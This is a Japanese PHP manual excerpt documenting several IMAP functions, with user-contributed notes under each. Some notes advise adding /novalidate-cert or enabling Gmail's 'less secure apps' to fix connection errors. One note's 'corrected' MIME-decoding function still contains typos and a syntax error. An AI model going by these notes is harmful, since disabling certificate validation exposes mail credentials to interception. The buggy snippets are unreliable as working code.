imap_mime_header_decode — MIME ヘッダ要素をデコードする

説明

imap_mime_header_decode ( string $string ) : array|false

非 ASCII テキストの MIME メッセージヘッダエクステンションをデコードします (» RFC2047 を参照ください)。

パラメータ

string

MIME テキスト。

返り値

デコードされた要素は、オブジェクトの配列で返されます。 各オブジェクトは、二つのプロパティ charset と text を有しています。

要素がエンコードされていない場合、言い替えるとプレーンな US-ASCII の場合は この要素の charset プロパティは default に設定されます。

この関数は、失敗した時に false を返します。

例

例1 imap_mime_header_decode() の例

<?php
$text = "=?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@example.com>";

$elements = imap_mime_header_decode($text);
for ($i=0; $i<count($elements); $i++) {
    echo "Charset: {$elements[$i]->charset}\n";
    echo "Text: {$elements[$i]->text}\n\n";
}
?>

上の例の出力は以下となります。

Charset: ISO-8859-1
Text: Keld Jorn Simonsen

Charset: default
Text:  <keld@example.com>

上の例には二つの要素があります。最初の要素は ISO-8859-1、 2 番目の要素はプレーンな US-ASCII で事前にエンコードされています。

参考

  • imap_utf8() - MIME エンコードされたテキストを UTF-8 に変換する

User Contributed Notes

alchrystal88 at web dot de 24-Jan-2019 11:43
If you have errors with wrong attachment names like this:

correct name:
String -> Prufbericht Hersteller.pdf

fetchstructure object name:
 =?ISO-8859-1?Q?Pr=FCfbericht_Hersteller=2Epdf?=

Workaround to reconvert:

imap_mime_header_decode($fetchstructure->dparameters->value)[0]->text

imap_mime_header_decode($filename)[0]->text
paolo dot ceccacci at gmail dot com 24-Sep-2014 08:45
Here's a "flatMimeDecode" version converting UTF-8 to iso-8859-1:

function flatMimeDecode($string) {
        $array = imap_mime_header_decode ($string);
        $str = "";
        foreach ($array as $key => $part) {
            if($part->charset == "UTF-8"){
            $str .= utf8_decode ($part->text);
            }else{
            $str .= $part->text;
            }
        }
        return $str;
    }
Anonymous 04-Mar-2013 09:42
A nice way to decode strings is to use the mb_list_encodings(), but I had two problems with it:
sometimes, the charset is uppercase in the header an lowercase in mb_list_encodings() and sometimes, the charset is not in the mb_list_encodings() list.

<?php
function upperListEncode() { //convert mb_list_encodings() to uppercase
    $encodes=mb_list_encodings();
    foreach ($encodes as $encode) $tencode[]=strtoupper($encode);
    return $tencode;
    }

function decode($string) {
    $tabChaine=imap_mime_header_decode($string);
    $texte='';
    for ($i=0; $i<count($tabChaine); $i++) {

        switch (strtoupper($tabChaine[$i]->charset)) { //convert charset to uppercase
            case 'UTF-8': $texte.= $tabChaine[$i]->text; //utf8 is ok
                break;
            case 'DEFAULT': $texte.= $tabChaine[$i]->text; //no convert
                break;
            default: if (in_array(strtoupper($tabChaine[$i]->charset),upperListEncode())) //found in mb_list_encodings()
                        {$texte.= mb_convert_encoding($tabChaine[$i]->text,'UTF-8',$tabChaine[$i]->charset);}
                     else { //try to convert with iconv()
                          $ret = iconv($tabChaine[$i]->charset, "UTF-8", $tabChaine[$i]->text);
                          if (!$ret) $texte.=$tabChaine[$i]->text;  //an error occurs (unknown charset)
                          else $texte.=$ret;
                        }
                break;
            }
        }

    return $texte;
    }
?>
kai at froghh dot de 04-Aug-2008 09:25
Beware of multilined subjects containing whitespaces which are not part of the subject itself, but needed as functional characters for the clients.

i.e. you can have a mail header containing content like
Subject: =?iso-8859-1?Q?WG=3A_Mobilit=E4t_verschlechtert_--=3E_174?=
    =?iso-8859-1?Q?6?=

(carriage return and tabspace).
imap_mime_header_decode returns 5 parts (and not expected 2)
for this example.
- The first containing the space between "subject:" and the subject itself.
- The second is the first encoded text
- The third will be the line-break within the head lines.
The were inserted to keep rfc compliant line length and are NOT part of the original subject entered by the sender.
- The fourth will be the second part of the subject.
- The fifth is a line break - the last character will be a line break any time other head lines or mailbody will follow, so it's needed in the head - but not part of the original subject.
s dot wiese at trabia dot md 18-Dec-2007 01:46
The example of diego is working well, he has a (very) little
mistake in his code. Here is the corrected version:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>
diego nunes <dn at nospam dot dnunes dot com> 14-Dec-2006 10:12
The previous comment (from hans) seems to make no sense at all, since it will not change the encoding and possibly result in a "multiencoding" string (that the browser and anything else will be unable to render, of course).

    I use a little function to decode the whole header to a specified encoding. It is as follow:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>

    Hope it helps.
hans at lintoo dot dk 22-Dec-2005 06:10
This is obvious, but nevertheless here is a "flat" version:
<?php
private function flatMimeDecode($string) {
    $array = imap_mime_header_decode($string);
    $str = "";
    foreach ($array as $key => $part) {
        $str .= $part->text;
    }
    return $str;
}
?>
cracker at bigcracker dot ca 22-Feb-2005 04:55
In response to Sven dot Dickert at planb dot de: if you encounter problems with "=?utf-8?Q?" appearing in your headers, I found that simply using "imap_utf8($string)" decoded the "$string" properly and solved my problem perfectly.
Pawel Tomicki <pafka at klub dot chip dot pl> 22-Apr-2004 11:04
<?php

function decode_iso88591($string){
  if (strpos(strtolower($string), '=?iso-8859-1') === false) {
    return $string;
  }
  $string = explode('?', $string);
  return strtolower($string[2]) == 'q' ? quoted_printable_decode($string[3]) : base64_decode($string[3]);
}

?>
mattias at forss dot se 26-Nov-2003 07:45
This function does not code a-z 0-9 like the function posted by bandpay at hotmail dot com

function encode_iso88591($string) {
    if( ereg("[^A-Za-z0-9\ ]", $string) ) {
        $text = "=?iso-8859-1?q?";
        for( $i = 0 ; $i < strlen($string) ; $i++ ) {
            if( ereg("[^A-Za-z0-9]", $string[$i]) ) {
                $text .= "=".dechex(ord($string[$i]));
            } else {
                $text .= $string[$i];
            }
        }
        return $text."?=";
    } else     return $string;
}
hdlim at kis21 dot com 01-Jan-2003 10:35
imap_mime_header_decode, utf-7 and utf-8 problem, i solved the problem using below function. note that iconv function for code converting.
you must replace "EUC-KR" as iconv parameter with charset you want such as "iso-8859-1".

function mime_decode($s) {
  $elements = imap_mime_header_decode($s);
  for($i = 0;$i < count($elements);$i++) {
    $charset = $elements[$i]->charset;
    $text =$elements[$i]->text;
    if(!strcasecmp($charset, "utf-8") ||
       !strcasecmp($charset, "utf-7"))
    {
      $text = iconv($charset, "EUC-KR", $text);
    }
    $decoded = $decoded . $text;
  }
  return $decoded;
}
Sven dot Dickert at planb dot de 16-May-2002 06:31
Beware! imap_mime_header_decode in 4.0.6 is _not_ RFC2047 conform. The string =?utf-7?Q?Petra_M+APw-ller?= will not converted into Petra M?ller cause the charset utf7 is unknown.  Same goes to =?utf-8?Q?Petra_M=C3=BCller?= for charset utf8.
charsyam at liso dot cs dot pusan dot ac dot kr 13-Aug-2001 08:34
I wrote a simple ks_c_5601-1987(2byte)
encode

function encode_ksc5601( $string )
{
 $encode = base64_encode( $string );
 $text = "=?ks_c_5601-1987?B?";
 $text = $text.$encode."?=";
 return $text;
}


指定した UID のメッセージ番号を返す

  • ≪ imap_mime_header_decode
  • imap_mutf7_to_utf8 ≫
  • PHP Manual
  • IMAP 関数
  • 指定した UID のメッセージ番号を返す

imap_msgno

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_msgno — 指定した UID のメッセージ番号を返す

説明

imap_msgno ( resource $imap , int $message_uid ) : int

指定した message_uid のメッセージ番号を返します。

この関数は、imap_uid() の逆の動作となります。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_uid

メッセージの UID。

返り値

指定した message_uid のメッセージ番号を返します。

参考

  • imap_uid() - 指定したメッセージシーケンス番号の UID を返す

User Contributed Notes

os at simonconsulting dot at 19-Apr-2011 11:44
For me, this function returns FALSE if uid does not match a message in the current mailbox.
dcridland.at.redwire.com 03-Oct-2001 06:32
<p>Note that imap_msgno() doesn't ever give you an error message. So, assuming you're passing about message numbers as a UID, be warned that:</p>
<p>$msguid = false;<br>
$msgno = imap_msgno( $your_initialized_connection, $msguid );</p>
<p>Will leave ($msgno==1) - this is probably not what you want, and it's surprisingly easy to miss while you're doing the basic testing.</p>


修正UTF-7文字列をUTF-8にデコードする

  • ≪ imap_msgno
  • imap_num_msg ≫
  • PHP Manual
  • IMAP 関数
  • 修正UTF-7文字列をUTF-8にデコードする

imap_mutf7_to_utf8

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

imap_mutf7_to_utf8 — 修正UTF-7文字列をUTF-8にデコードする

説明

imap_mutf7_to_utf8 ( string $string ) : string|false

修正UTF-7(RFC 2060, section 5.1.3)文字列を UTF-8 にデコードします。

注意:

この関数は libcclient が utf8_to_mutf7() をエクスポートした場合にのみ利用できます。

パラメータ

string

修正UTF-7 でエンコードされた文字列

返り値

string を UTF-8 に変換したものを返します。 失敗した場合に false を返します.

参考

  • imap_utf8_to_mutf7() - UTF-8 文字列を修正UTF-7にエンコードする

User Contributed Notes

There are no user contributed notes for this page.


現在のメールボックスのメッセージ数を取得する

  • ≪ imap_mutf7_to_utf8
  • imap_num_recent ≫
  • PHP Manual
  • IMAP 関数
  • 現在のメールボックスのメッセージ数を取得する

imap_num_msg

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_num_msg — 現在のメールボックスのメッセージ数を取得する

説明

imap_num_msg ( resource $imap ) : int|false

現在のメールボックスにあるメッセージ数を返します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

返り値

現在のメールボックスのメッセージ数を整数として返します。 またはエラー時に false を返します。

参考

  • imap_num_recent() - 現在のメールボックスにある新規メッセージ数を取得する
  • imap_status() - 現在のメールボックス以外のメールボックスのステータス情報を返す

User Contributed Notes

comlampe at aol dot com 08-Apr-2004 12:30
While imap_status sets "read"-Flag when used, imap_num_msg does not touch any flag.


現在のメールボックスにある新規メッセージ数を取得する

  • ≪ imap_num_msg
  • imap_open ≫
  • PHP Manual
  • IMAP 関数
  • 現在のメールボックスにある新規メッセージ数を取得する

imap_num_recent

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_num_recent — 現在のメールボックスにある新規メッセージ数を取得する

説明

imap_num_recent ( resource $imap ) : int

現在のメールボックスにある新しいメッセージの数を返します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

返り値

現在のメールボックスにある新しいメッセージの数を返します。

参考

  • imap_num_msg() - 現在のメールボックスのメッセージ数を取得する
  • imap_status() - 現在のメールボックス以外のメールボックスのステータス情報を返す

User Contributed Notes

jhoglin at digital-elephant dot com 23-Sep-2003 03:25
If you would like to skip the update of recent messages use the OP_READONLY flag when you open to check for new messages.
dizzy at roedu dot net 04-Feb-2003 09:36
of course it doesnt. because "recent" does NOT mean "unseen" . they are different. for Maildir users, recent means messages found in the "new" subdir (which are moved to "cur" on the first opening of the Inbox). "unseen" are the messages you guys probably want (messages which have never been read).
rok at ipunkt dot biz 27-Aug-2002 02:10
The num_recent value does all the work it has to do. It returns only a number if the mail is not touched any time before.
stephane-wantiez at tiscalinet dot be 11-Aug-2002 10:13
Note that if you close your imap connexion, it seems that all the recents messages are no more recents...
So it's not very useful for a webmail...


メールボックスへの IMAP ストリームをオープンする

  • ≪ imap_num_recent
  • imap_ping ≫
  • PHP Manual
  • IMAP 関数
  • メールボックスへの IMAP ストリームをオープンする

imap_open

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_open — メールボックスへの IMAP ストリームをオープンする

説明

imap_open ( string $mailbox , string $user , string $password , int $flags = 0 , int $retries = 0 , array $options = [] ) : resource|false

mailbox への IMAP ストリームをオープンします。

この関数は、POP3 や NNTP サーバーへのストリームをオープンする際にも使用可能です。 しかし、いくつかの関数および機能は IMAP サーバーでしか利用できません。

パラメータ

mailbox

メールボックス名(mailbox)は、サーバー名の部分と使用するサーバーにおける メールボックスへのパスから構成されます。特別な名前 INBOX は、 カレントユーザーの個人メールボックスを意味します。 ASCII 空間で出力可能な文字以外の外国文字を含むメールボックス名は imap_utf7_encode() でエンコードする必要があります。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

サーバー部は '{' および '}' で括られ、サーバー名または IP アドレス、オプションの ':' から始まるポート指定子、('/' で始まる)オプションのプロトコル指定子 から構成されます。

サーバー部は、全ての mailbox パラメータで必須です。

{ で始まる名前はすべてリモート名で、 "{" remote_system_name [":" port] [flags] "}" [mailbox_name] のような形式となります。

  • remote_system_name - Internet ドメイン名 あるいは括弧でかこまれたサーバーの IP アドレス。
  • port - オプションの TCP ポート番号。デフォルトは そのサービスのデフォルトポート。
  • flags - オプションのフラグ。以下の表を参照ください。
  • mailbox_name - リモートメールボックス名。デフォルトは INBOX 。

オプションのフラグ名
フラグ | 説明
/service=service | メールボックスにアクセスするサービス。デフォルトは "imap" 。
/user=user | サーバーへのログイン時のユーザー名。
/authuser=user | リモートの認証ユーザー。指定されていた場合は、このユーザーのパスワードが 認証に使用されます（例: administrator）。
/anonymous | 匿名ユーザーとしてアクセスします。
/debug | プロトコルの通信内容をアプリケーションのデバッグログに記録します。
/secure | ネットワーク越しにプレーンテキストのパスワードを送信しません。
/imap, /imap2, /imap2bis, /imap4, /imap4rev1 | /service=imap と同じです。
/pop3 | /service=pop3 と同じです。
/nntp | /service=nntp と同じです。
/norsh | 事前に認証済みの IMAP セッションを確立する際に、rsh や ssh を使用しません。
/ssl | セッションの暗号化に Secure Socket Layer を使用します。
/validate-cert | TLS/SSL サーバーの証明書を検証します（デフォルトの挙動です）。
/novalidate-cert | TLS/SSL サーバーの証明書を検証しません。サーバーが自己証明の 証明書を使用している際に必要となります。
/tls | セッションの暗号化に start-TLS の使用を強制し、それを サポートしていないサーバーとの接続を拒否します。
/notls | たとえサーバーがそれをサポートしていたとしても、 セッションで start-TLS による暗号化を使用しません。
/readonly | 読み込み専用でのメールボックスのオープンを要求します（IMAP のみ。 NNTP では無視され、SMTP および POP3 ではエラーとなります）。

user

ユーザー名。

password

user のパスワード。

flags

flags はビットマスクであり、以下の組み合わせとなります。

  • OP_READONLY - メールボックスを読み込み専用でオープンします。
  • OP_ANONYMOUS - news に関して .newsrc を使用せず、更新もしません（NNTP のみ）。
  • OP_HALFOPEN - IMAP 及び NNTP 名について、 接続をオープンしますがメールボックスはオープンしません。
  • CL_EXPUNGE - メールボックスを閉じる際に、 自動的にメールボックスを削除します（imap_delete() および imap_expunge() も参照ください）。
  • OP_DEBUG - プロトコルネゴシエーションをデバッグします。
  • OP_SHORTCACHE - 短い（elt-only）キャッシングを行います。
  • OP_SILENT - イベントを受信しません（内部で使用します）。
  • OP_PROTOTYPE - ドライバのプロトタイプを返します。
  • OP_SECURE - セキュアでない認証を行いません。

retries

接続試行の最大数。

options

接続パラメータ。次の (文字列の) キーを使って接続パラメータを設定することができます。

  • DISABLE_AUTHENTICATOR - 認証プロパティを無効にする

返り値

成功した場合は IMAP ストリームを、失敗した場合は false を返します。

例

例1 imap_open() のさまざまな使用例

<?php
// ローカルマシンのポート 143 で稼動している IMAP サーバーに接続するには
// 以下のようにします。
$mbox = imap_open("{localhost:143}INBOX", "user_id", "password");

// ローカルマシンのポート 110 で稼動している POP3 サーバーに接続するには、
$mbox = imap_open ("{localhost:110/pop3}INBOX", "user_id", "password");

// SSL IMAP あるいは POP3 サーバーに接続するには、プロトコル指定のあとに
// /ssl を追加します。
$mbox = imap_open ("{localhost:993/imap/ssl}INBOX", "user_id", "password");

// 自分でサインした証明書で SSL IMAP あるいは POP3 サーバーに接続するには、
// プロトコル指定のあとに /ssl/novalidate-cert を追加します。
$mbox = imap_open ("{localhost:995/pop3/ssl/novalidate-cert}", "user_id", "password");

// ローカルマシンのポート 119 で稼動している NNTP サーバーに接続するには、
$nntp = imap_open ("{localhost:119/nntp}comp.test", "", "");
// リモートサーバーに接続する際は、"localhost" を接続したいサーバーの
// 名前または IP アドレスに置き換えます。
?>

例2 imap_open() の例

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password");

echo "<h1>Mailboxes</h1>\n";
$folders = imap_listmailbox($mbox, "{imap.example.org:143}", "*");

if ($folders == false) {
    echo "コールが失敗しました<br />\n";
} else {
    foreach ($folders as $val) {
        echo $val . "<br />\n";
    }
}

echo "<h1>INBOX のヘッダ</h1>\n";
$headers = imap_headers($mbox);

if ($headers == false) {
    echo "コールが失敗しました<br />\n";
} else {
    foreach ($headers as $val) {
        echo $val . "<br />\n";
    }
}

imap_close($mbox);
?>

参考

  • imap_close() - IMAP ストリームをクローズする

User Contributed Notes

chris at ocproducts dot com 09-Jun-2020 09:05
imap_open supports SSL/TLS and start-TLS, and also totally unencrypted sessions.

The documentation here slightly conflates things.

Where it is referring to SSL (/ssl) it is really referring to SSL/TLS of the immediate variety. The initial connection will immediately be SSL/TLS, rather than later upgraded. (I don't know the specifics about which versions of SSL/TLS c-client is going to be negotiating/using.)

The '/tls' and '/notls' options are just about start-TLS, i.e. upgraded connections.

Note there is a '/notls' option but not a '/nossl' option. That is because by default c-client is going to upgrade to TLS (start-TLS) when it sees it as an advertised option by the IMAP server. i.e. it is going to do it based on auto-detection. The '/notls' option disables that auto-detection, which is sometimes necessary. For example, I just helped someone whose IMAP server advertises start-TLS to connections on port 143 but it actually only works on port 993. Regular SSL/TLS doesn't do any auto-detection as the connection mode has to be explicitly made upfront anyway.
LANGE.LUDO 18-Nov-2018 07:35
If you get Kerberos errors like:
≪ Notice: Unknown: Kerberos error: Credentials cache file '/tmp/krb5cc_0123' not found (try running kinit) ≫.

Try to add as a $param:
<?php array('DISABLE_AUTHENTICATOR' => 'GSSAPI') ?>

eg.
<?php
$imap_stream = imap_open('{mail.domain.tld:993/imap/ssl}' , 'username' , 'password', null, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>
reg1barclay at REMOVETHIS dot live dot it 03-Nov-2018 06:18
On Windows, this function does not use certificates in directories listed by openssl_get_cert_locations(): it use system's certificates store. If you want to use a certificate signed by a test authority, you must add root certificate of your test authority to Window's certificates store.
Anonymous 11-Jan-2018 06:28
Function to test most of the possible options of a connection:

function imapConfig($options, $i=0, $till = array()) {
        if(sizeof($options)==$i)
            return $till;

        if(sizeof($till)==0)
            $till[] = '';

        $opt = $options[$i];
        $new = array();
        foreach($till as $t) {
            foreach($opt as $o) {
                if(strlen($o)==0)
                    $new[] = $t;
                else
                    $new[] = $t.'/'.$o;
            }
        }
        return imapConfig($options, $i+1, $new);
    }

function imap_test($server, $port, $dir, $username, $passw) {
        $options = array();
        //$options[] = array('debug');
        $options[] = array('imap', 'imap2', 'imap2bis', 'imap4', 'imap4rev1', 'pop3'); //nntp
        $options[] = array('', 'norsh');
        $options[] = array('', 'ssl');
        $options[] = array('', 'validate-cert', 'novalidate-cert');
        $options[] = array('', 'tls', 'notls');

        $configOptions = imapConfig($options);
        foreach($configOptions as $c) {
            $mbox = @imap_open("{".$server.":".$port.$c."}".$dir, $username, $passw);
            echo "<b>{".$server.":".$port.$c."}".$dir."</b> ... ";
            if (false !== $mbox) {
                echo '<span style="color: green"> success</span>';
            }
            else {
                echo '<span style="color: red"> failed</span>';
            }
            echo '<br>';
        }
    }

imap_test('mail.server.de', 143, 'INBOX', 'username', 'pwd');
dominic_mayers at yahoo dot com 11-Mar-2017 07:02
This code demonstrates features that are not well documented at this time. The main feature is that the selected mailbox in imap_open (or reopen)  and the specified mailbox in other imap functions are unrelated.  It has been tested with Gmail and with a Dovecot IMAP server.  The mailbox separator depends on the server. Gmail: "/"  Dovecot: "."  If you want to test with Gmail, you need to turn on "Access for less secure apps" in your account.

<?php
  // Change these.
  $server    = "{imap.gmail.com:993/imap/ssl/novalidate-cert}";
  $email     = "example@gmail.com";
  $password  = "password";

  // The code assumes that the folders Test/Sub1/Sub11, etc. exist.
  $selected  = "{$server}Test/Sub1/Sub12";
  $conn      = imap_open($selected, $email , $password);

  // This returns the $specified mailbox and its sub mailboxes,
  // even if the $specified mailbox is outside the $selected mailbox.
  $specified =  "{$server}Test/Sub1";
  $boxes     = imap_list($conn, $specified , '*');
  print_r($boxes);

  // This appends the message in the $specified mailbox.
  // It ignores the $selected mailbox.
  imap_append($conn, $specified
                     , "From: me@example.com\r\n"
                     . "To: you@example.com\r\n"
                     . "Subject: test\r\n"
                     . "\r\n"
                     . "this is a test message, please ignore\r\n");

  // This changes the $selected mailbox
  $selected = "{$server}Test/Sub1";
  imap_reopen($conn, $selected);

  // This moves a message from the $selected to the $specified mailbox
  // In this case, the specified mailbox does not include the server.
  imap_mail_move ($conn , "1" ,  "Test");
  imap_expunge($conn);
  imap_close($conn);
  // If you executed this code with a real IMAP server,
  // the message is now in the Test mailbox !
?>
Valerio Pulese 18-Mar-2016 03:36
If you get slow imap4/pop3 authentication step
i.e. 5-10 sec just for response, maybe you are connecting to an imap server which is advertising GSSAPI auth mechanism.
Martin Eckardt note could help to speed it up.
<?php
$mbox = imap_open("{imap server with GSSAPI :993/imap/ssl}", $user, $password, NULL, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>

Disable GSSAPI if you dont use it.
If your imap/pop server is Dovecot
/etc/dovecot/conf.d/10-auth.conf
...
auth_mechanisms = plain login gssapi
-> auth_mechanisms = plain login
Ap.Muthu 07-Oct-2015 09:45
An old archived 2006 PHP script to retrieve IMAP POP3 email into a MySQL database and as files is at:
http://web.archive.org/web/20060411020022/http://www.sellchain.com/phPOP3/phPOP3.txt
Tim 29-Mar-2015 07:14
Hi

I was struggling with the Gmail Imap/pop connection. It keeps saying too many failed login connections were made.

Thing I did:
 https://www.google.com/settings/security/lesssecureapps
Clicked "Turn on"
> worked!

So last step could be used but remember your account will be at a certain security risk. Anyway it comes in handy to develop...
Lisboa 07-Jan-2015 01:57
The error: Unknown: Mailbox is empty (errflg=1) in Unknown on line 0
appears when:

1)  use imap_open to connect
2) then use imap_search ALL to retrieve emails

but there are no messages available. To avoid this error, check first the number of messages in a mailbox using imap_status. Only if there are messages available then you can use the imap_search.
hashampel at yahoo dot de 29-Aug-2014 08:15
Subfolders of INBOX have to be seperate by dot like this: 'INBOX.test'
$mailbox = '{example.example.com:143/imap/novalidate-cert}INBOX.test'
me at achronos dot ca 01-Jun-2014 02:09
Do not bother using "/debug" flag in $mailbox or OP_DEBUG in $options. They do not do anything.

When you set either one, the underlying IMAP c-client library will gather protocol debugging data and pass it back to PHP.
However, the debug handler defined by PHP is an empty function, it doesn't do anything.

So unless you're using a customized version of the IMAP extension that does something with that handler (mm_dlog), there is no point using "/debug" or OP_DEBUG.
Brian Law 22-May-2014 04:14
imap_open()
 validate SSL certificate does not support Subject Alternative Name (SAN) certificate. It only validate against the Subject/Common name.
jeff at newscloud dot com 10-Jan-2014 06:35
One of the issues with gmail IMAP SSL authentication is related to Google's account security.

Once you get the login error once, sign out of all your google accounts. Then, visit this link:
http://www.google.com/accounts/DisplayUnlockCaptcha

Log in with the account you're attempting to access via imap.

Follow the steps and you'll then be able to login in to gmail with php imap.

It's visually shown here:
http://jeffreifman.com/filtered-open-source-imap-mail-filtering-software-for-php/configuring-gmail/
phpnet at danepowell dot com 12-Dec-2011 08:20
If you are accessing a local mailbox file, i.e. imap_open('/var/mail/www-data', '', ''), you may be restricted in what files you can access.

If PHP IMAP was compiled with the restrictBox option (which I believe most packages are these days), you can only access files relative to $HOME. Paths starting with '/' or '../' will be rejected.
Martin Eckardt 01-Jul-2011 06:41
Since Version 5.3.2 there's a 6th parameter available to disable authentication with GSSAPI or NTLM:

Example:
<?php
$mbox = imap_open("{w2010ExchangeServer:993/imap/ssl}", $user, $password, NULL, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>

This solves the problem with Exchange 2010 for me. As a reference see https://bugs.php.net/bug.php?id=33500
jeff1326 13-Jun-2011 07:12
If your connection is too slow, try it with port and without domain.

<?php
//Normal connection
$mailbox = imap_open("{SERVER}INBOX", $username, $password);

//Faster connection
$mailbox = imap_open("{SERVER:143}INBOX", $username, $password);

//Very slow connection
$mailbox = imap_open ("{SERVER.DOMAIN}INBOX", "DOMAIN/".$username, $password);
?>
david at brayworth dot com dot au 10-May-2011 05:28
I managed to use this function against Exchange 2010 without recompiling to disable kerberos

It's important to me that php installs per the standard package (yum install php)

Exchange 2010 triggers kerberos in php, and you require the kinit thing (search around google for "imap_open kinit exchange 2010" and you will find this)

To get it working I had to:
1. setup the krb5.conf file correctly
2. do a kinit username@DOMAIN.DOM with a valid username / password
3. rename the ticket file to reflect the user id of apache (usually 48)
   /tmp/krb5cc_48
4. fix ownership
   chown apache.apache /tmp/krb5cc_48

but the exchange server will use the kerberos ticket and not the username password - unless you use ssl

<?php

    $imap_user = "username";
    $imap_pass = "password";
    $imap_server = "{w2010kExchangeServer:993/novalidate-cert/ssl}";

    $mbox = imap_open("{$imap_server}INBOX", $imap_user, $imap_pass);

    $sorted_mbox = imap_sort($mbox, SORTDATE, 0);
    $totalrows = imap_num_msg($mbox);
    print "$imap_server\n";

    $startvalue = 0;
    while ($startvalue < $totalrows) {

        $headers = imap_fetchheader($mbox, $sorted_mbox[ $startvalue ] );
        $subject = array();
        preg_match_all('/^Subject: (.*)/m', $headers, $subject);
        print $subject[1][0] . "\n";

        $startvalue++;
    }
?>

One small step for php / exchange, one Giant leap for David  ....
guilherme dot geronimo at gmail dot com 09-Nov-2010 05:23
Using:
<?php
imap_open( "{server.example.com:143}INBOX" , 'login' , 'password' );
?>

Got this error:
"Couldn't open stream {server.example.com:143}INBOX"

Solved by adding the flag "novalidate-cert":
<?php
imap_open( "{server.example.com:143/novalidate-cert}INBOX" , 'login' , 'password' );
?>

=D
egoman69 at hotmail 07-Sep-2010 12:32
"Couldn't open stream {127.0.0.1:143/imap/notls}INBOX"

Solved by only replacing 127.0.0.1 with localhost, php and IMAP server both in same machine, not through Proxy or anything. Weird!
oz49erfan 02-Mar-2010 07:39
Make sure your PHP is enabled with imap via the phpinfo() function

'--with-imap-dir=/opt/lampp' '--with-imap-ssl' '--with-imap=/opt/lampp'

and

IMAP c-Client Version 2007e
SSL Support Yes

I noticed that my apache script was working but my cli script was not. Turns out my php cli executable didn't have imap setup so I had to use another php cli executable.
kay at rrr dot de 31-Jan-2010 08:16
imap_open is very simple to use, but struggles a litte bit on setups with ssl and tls.

this are tested examples for different hosts and protocols.

uncomment the host/protocol line and fill in correct username and password.

Kay

<?php

#######
# localhost pop3 with and without ssl
# $authhost="{localhost:995/pop3/ssl/novalidate-cert}";
# $authhost="{localhost:110/pop3/notls}";

# localhost imap with and without ssl
# $authhost="{localhost:993/imap/ssl/novalidate-cert}";
# $authhost="{localhost:143/imap/notls}";
# $user="localuser";

# localhost nntp with and without ssl
# you have to specify an existing group, control.cancel should exist
# $authhost="{localhost:563/nntp/ssl/novalidate-cert}control.cancel";
# $authhost="{localhost:119/nntp/notls}control.cancel";

######
# web.de pop3 without ssl
# $authhost="{pop3.web.de:110/pop3/notls}";
# $user="kay.marquardt@web.de";

#########
# goggle with pop3 or imap
# $authhost="{pop.gmail.com:995/pop3/ssl/novalidate-cert}";
# $authhost="{imap.gmail.com:993/imap/ssl/novalidate-cert}";
# $user="username@gmail.com";

$user="username like above";
$pass="yourpass";

if ($mbox=imap_open( $authhost, $user, $pass ))
        {
         echo "<h1>Connected</h1>\n";
         imap_close($mbox);
        } else
        {
         echo "<h1>FAIL!</h1>\n";
        }

?>
mightycpa 03-Jul-2009 10:45
My script kept on timing out, even though the syntax was spot on... ultimately, I figured out that the port was blocked by my webhost, where I ran this on a shared server...

I post this just in case you miss this obvious, like I did.
Jason Pires 25-Apr-2008 10:56
Dears.
In my case, e-mail host was the IMAP enabled.
So, just use the imap_open as the very simple form like:

$mailbox = "{mail.myhost.com:143/notls}INBOX";
$user = "me@myhost.com";
$pass = "mypassword";

